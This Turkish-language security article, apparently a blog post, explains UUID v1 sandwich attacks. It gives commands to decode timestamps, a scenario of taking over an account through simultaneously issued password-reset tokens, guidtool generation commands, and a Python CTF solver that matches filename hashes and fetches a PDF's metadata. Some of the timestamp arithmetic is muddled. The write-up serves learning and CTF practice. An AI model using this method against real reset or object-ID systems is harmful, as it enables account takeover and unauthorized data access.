Cyber Security Articles

UUID Sandwich Exploitation

Sandwich Saldırısı - UUID v1

UUID

Globally Unique Identifier (GUID) olarakta tanımlanabilir.Zafiyetli versiyonları olduğu gibi zamanla daha güçlü versiyonlarıda ortaya çıkmaktadır. Rastgele üretilen bu benzersiz değerler saniyeninde ötesinde mikro veya nanosaniye olarak üretimler gerçekleşmektedir.Üst versiyonlarda üretilen değerler her ne kadar fazlaca üretim gerçekleştirilsede ihtimaller çok çok düşük olsada yinede 0’a yakın değildir.Yani benzer bir değer üretilebilmektedir fakat bunu tespit etmek bir hayli çok zor bir durumdur.Kopyalanma olasılığı düşüktür fakat asla sıfır derecede değildir.

Örnek bir UUID değeri

f81d4fae-7dec-11d0-a765-00a0c91e6bf6

Exploitation

Sandwich saldırısı genelde UUID 1 Versiyonunda karşımıza çıkmaktadır.Zaman kavramına göre ve MAC cinsinden üretim yapmaktadır.Account Takeover,BOLA veya IDOR gibi zafiyetlere sebep olmaktadır ve kritik bir öneme sahiptir.Ayrıca aynı zamanda damgası içerisinde üretilen değerler kopyalanabilir ve saldırı vektörü oluşturulabilir.

Linuxta UUID komutu ile örnek değerler üretebiliriz.

UUID v1 : 6ea0f896-3144-11ef-a367-005056260027 & 6f03f496-3144-11ef-86bc-005056260027

Burada bulunan a367 ve 86bc değişmiştir fakat bazen bu Version 1 de değişiklik göstermemektedir.Ayrıca değişiklik gösterilse bile 005056260027 MAC bölümü sabit kalmaktadır.

UUID v4 : 60a0cf20-f5a8-4ea2-9469-d4269f0a5bc8 & 62f4a612-6d64-48a2-a271-26217702999e

Burada ise tamamen ayrıldığı görülmektedir.Yani olasılıklar her ne kadar sıfır olmasada sıfıra yakın bir derecede üretmektedir. %0.000001 derece olsa bile %100 güvenli değildir ve %99.9 güvenlik sağlasada %0.1 bir zafiyet söz konusu olabilir. UUID v1 ise bu derece oldukça fazla artmaktadır.

Ayrıca UUID Saldırıları için https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248 Burp Suite eklentileri ile bunu keşfedebilirsiniz.

Ayrıca Bkz. https://datatracker.ietf.org/doc/html/rfc4122

folder_s3

10 Adet seri üretim

f2c6e440-3145-11ef-8465-0800200c9a66
f2c6e441-3145-11ef-8465-0800200c9a66
f2c6e442-3145-11ef-8465-0800200c9a66
f2c6e443-3145-11ef-8465-0800200c9a66
f2c6e444-3145-11ef-8465-0800200c9a66
f2c6e445-3145-11ef-8465-0800200c9a66
f2c6e446-3145-11ef-8465-0800200c9a66
f2c6e447-3145-11ef-8465-0800200c9a66
f2c6e448-3145-11ef-8465-0800200c9a66
f2c6e449-3145-11ef-8465-0800200c9a66

Burada görüldüğü üzere zaman tamamen hassas işlenmektedir.

Timestamp: 139384289967400006 Timestamp: 139384289967400007

Değişen kısımlar ise f2c6e447-3145-11ef tamamen buradan ibarettir ve zaman kavramı burada oluşmaktadır. MAC address: 08:00:20:0c:9a:66 ise MAC Adresidir yani bu değerler genelde sabit olabilmektedir.

UUID Extract

UUID Değerimiz 5c1dba54-ee3e-11ee-a951-0242ac120002

Bizim buradaki zaman değerimiz 1eeee3e5c1dba54 bundan ibarettir.

folder_s3

Timestamp ise ;

printf "%d\n" 0x1eeee3e5c1dba54
139310590095899220

Bunu Nano’dan Decimal olarak bir türe dönüştürmemiz gerekmektedir.

echo "scale=9; 139310590095899220 / 10^8" | bc
1393105900.958992200

13931059009 elde edilir bu bizim TimeStamp değerimizdir ve Epoch Time olarak yuvarlamamız gerekmektedir.
1970-01-01 - 12219292800 baz alınarak bu çıkarımı elde edebiliriz ve 13931059009 - 12219292800 1711766209 sayısını elde ederiz.
1711766209 Timestamp değeri ise bize Saturday, 30 March 2024 02:36:49 tarihini vermektedir.Böylelikte tarihi tamamen elde etmiş oluruz.

Ayrıca GuidReaper aracı ilede UUID Decode işlemi yapabiliriz.

GuidReaper -d "5c1dba54-ee3e-11ee-a951-0242ac120002"
GUID version: 1
Time: 2024-03-30 02:36:49.589922
Timestamp: 139310590095899220
Node: 2485377957890
MAC address: 02:42:ac:12:00:02
Clock sequence: 10577

Burada tersine işlemler gerçekleştirilerek zaman damgasında ‘Time Manipulation’ tekniği ile Exploitation gerçekleştirilebilir.

İstismar Senaryosu

1.Sistemde bir şifre sıfırlama bağlantısı oluşturduğunu ve bunu UUID kullanarak yapıldığını varsayalım.
2.Bir adet hesap oluşturalım uuid@attack.com hesabımız bir kenarda dursun ve victim@attack.com hesabına saldırı düzenleyelim.
3.İki hesaptada aynı zamanda şifre yenileme bağlantısı ileteceğiz.Senkronize bir şekilde aynı zamanda bağlantıyı gönderelim.

victim@attack.com Adresine Giden Sıfırlama Bağlantısı ;

https://server/reset_password?reset=dc464b70-314a-11ef-8465-0800200c9a66&user=victim@attack.com

Extract Time : Time: 2024-06-23 10:25:06.471000 \

uuid@attack.com Adresine Giden Sıfırlama Bağlantısı ;

https://server/reset_password?reset=de7a4270-314a-11ef-8465-0800200c9a66&user=uuid@attack.com

Extract Time : Time: 2024-06-23 10:25:10.167000

Aralarında sadece 4 Saniyelik bir oynama saptanmıştır ve bu oran otomatikleştirildiğinde Concurrency Flaws kullanılarak saldırı gerçekleştirildiğinde oldukça yüksek bir risk oluşturulacaktır.

GuidTool ilede UUID değerleri üretmek mümkündür.

guidtool.py 667b8570-0d84-11ef-9ed0-0800200c9a66 -t "1923-10-29 20:30:00" -p 1 

komutu ile belirlenen bir zamana yönelik fazlaca üretim gerçekleşmektedir. Burada çok fazla olasılık bulunmaktadır ve sayı bir hayli fazladır.

Böylelikle Broken Object Level Authorization , Insecure Direct Object References veya Account Takeover gibi zafiyetlere yol açabilmektedir.

Yayınladığım araç ilede Exploitation işlemi gerçekleştirilebilir.

github.com/cagrieser/Uuid-Exploitation

CTF Sorusunun Çözümü

IguCtf Etkinkiğinde hazırladığımız araçta ise erişim yetkisi bulunulmayan dosyaya erişim elde edilmesine yönelik bir senaryo yer almaktadır. Buradan yola çıkarak UUIDv1 Sandwich Exploitation ile flag elde edilebilir.

folder_s3

Ayrıca Dosya Adı Hash değeri verilerek herhangi bir kendi makinamızda işlemi daha seri bir şekilde hem sunucuyu yormadan hemde daha hızlı bir şekilde ulaşabiliriz.
Buradaki amaç sadece dosyaya erişim sağlamaktır.

Aşağıda bulunan Python scripti ile ise verilen değerler üzerinden eşleştirme yapılarak hedef dosyaya erişim sağlanabilir ve Metadata verilerine erişim sağlanarak değer elde edilebilir.

import hashlib
from colorama import init, Fore
import PyPDF2
import requests
import io 

init(autoreset=True)

target_hash = 'def3c4c32117683fcffad14e3b2a9b5d'


def md5_hash(text):
    return hashlib.md5(text.encode()).hexdigest()

def get_pdf_metadata_from_url(pdf_url):
    response = requests.get(pdf_url)
    if response.status_code == 200:
        
        pdf_content = response.content
        
        pdf_file = PyPDF2.PdfFileReader(io.BytesIO(pdf_content))
        metadata = pdf_file.getDocumentInfo()
        
        return metadata
    else:
        print(f"Failed to download PDF from {pdf_url}. Status code: {response.status_code}")
        return None

with open('FullAttackUUID.txt', 'r') as file:
    lines = file.readlines()

for line in lines:
    pdf_filename = line.strip() + '.pdf'  
    hashed_value = md5_hash(pdf_filename)
    
    # Compare with the target hash
    if hashed_value == target_hash:
        print(Fore.GREEN + f"Match found: {pdf_filename}")
        
        pdf_url = 'https://demindensimdiyegeldim.igusiber.com.tr/{}'.format(pdf_filename)
        metadata = get_pdf_metadata_from_url(pdf_url)
       
        if metadata:
            print("PDF Metadata:")
            for key, value in metadata.items():
                print(f"{key}: {value}")
        else:
            print("Failed to fetch PDF metadata.")
        
        break  
    else:
        print(f"No match: {pdf_filename} -> {hashed_value}")

Final

folder_s3

folder_s3